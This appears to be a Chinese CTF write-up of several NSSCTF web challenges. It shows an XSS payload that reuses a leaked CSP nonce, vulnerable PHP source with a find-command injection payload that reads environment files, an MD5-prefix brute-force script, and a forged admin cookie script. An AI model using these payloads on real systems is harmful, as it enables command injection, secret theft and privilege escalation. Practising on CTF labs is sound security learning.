目录
[google authenticator](#google authenticator)
随便做做,环境是NSS上的
BABY_CSP
CSP指令值
*: 星号表示允许任何URL资源,没有限制;
self: 表示仅允许来自同源(相同协议、相同域名、相同端口)的资源被页面加载;
data:仅允许数据模式(如Base64编码的图片)方式加载资源;
none:不允许任何资源被加载;
unsafe-inline:允许使用内联资源,例如内联<script>标签,内联事件处理器,内联<style>标签等,但出于安全考虑,不建议使用;
nonce:通过使用一次性加密字符来定义可以执行的内联js脚本,服务端生成一次性加密字符并且只能使用一次;
发包,响应头有CSP字段,给了nonce值
以变量形式输出flag
payload:
?school=<script nonce="29de6fde0db5686d">alert(flag);</script>
右键查看源码拿到flag
search
访问/www.zip拿到源码
<?php
error_reporting(0);
$argv = $_GET["search"];
for ($i = 0; $i < strlen($argv); $i++) {
if (($argv[$i] == '&') ||
($argv[$i] == '>') ||
($argv[$i] == '<') ||
($argv[$i] == '(') ||
($argv[$i] == ';') ||
($argv[$i] == '|')
) {
if ($i == 0) {
goto error;
}
if (($i == 1) && ($argv[0] == '\\')) {
continue;
}
if (($argv[$i - 1] == '\\') && ($argv[$i - 2] != '\\')) {
continue;
}
error:
exit("Input contains prohibited characters!<br>");
}
}
echo "<h3>Search reslut:</h3><br>";
system("find / -iname " . $argv);
?>
逻辑就是,如果输入检查发现非法字符,并且这些字符不是被合法转义,脚本执行exit,输出错误信息并停止运行。就是不让拼接多条命令,强制要求直接对find命令进行利用
find命令进阶(二):对找到的文件执行操作exec_find 寻找特定目录下的文件并执行-CSDN博客
payload:
/search.php?search=environ -exec cat {} \;
secret
写脚本爆md5
import hashlib
import itertools
import string
# 目标MD5哈希的前6个字符
target = '1af15e'
# 尝试的密码字符集,这里使用了字母和数字,可以根据需要调整
charset = string.ascii_letters + string.digits
# 密码的最大长度,可以根据实际情况调整
max_length = 6
# 爆破密码
def brute_force():
for length in range(1, max_length + 1):
# itertools.product生成所有可能的密码组合
for attempt in itertools.product(charset, repeat=length):
# 将密码组合转换为字符串
password = ''.join(attempt)
# 计算密码的MD5哈希,并取前6个字符
hash = hashlib.md5(password.encode()).hexdigest()[:6]
# 检查哈希是否与目标匹配
if hash == target:
return password
return None
# 运行爆破函数
password = brute_force()
if password:
print(f"Found password: {password}")
else:
print("Password not found.")
先随便注册一个号
再去登录
点击secret回显只有admin能看
cookie有一段加密逻辑,笨人整不来整不来,看个乐就好
import requests
def encrypt(s):
res = ""
for i in s:
if ord(i)%2 == 0:
res += chr(ord(i) + 2)
else:
res += chr(ord(i) - 2)
res += "a"
return res
def main():
url = "http://node4.anna.nssctf.cn:28389/" + "secret.jsp"
cookies = {"usr" : encrypt("admin")}
res = requests.get(url, cookies=cookies)
print(res.text)
if __name__ == "__main__":
main()
google authenticator
神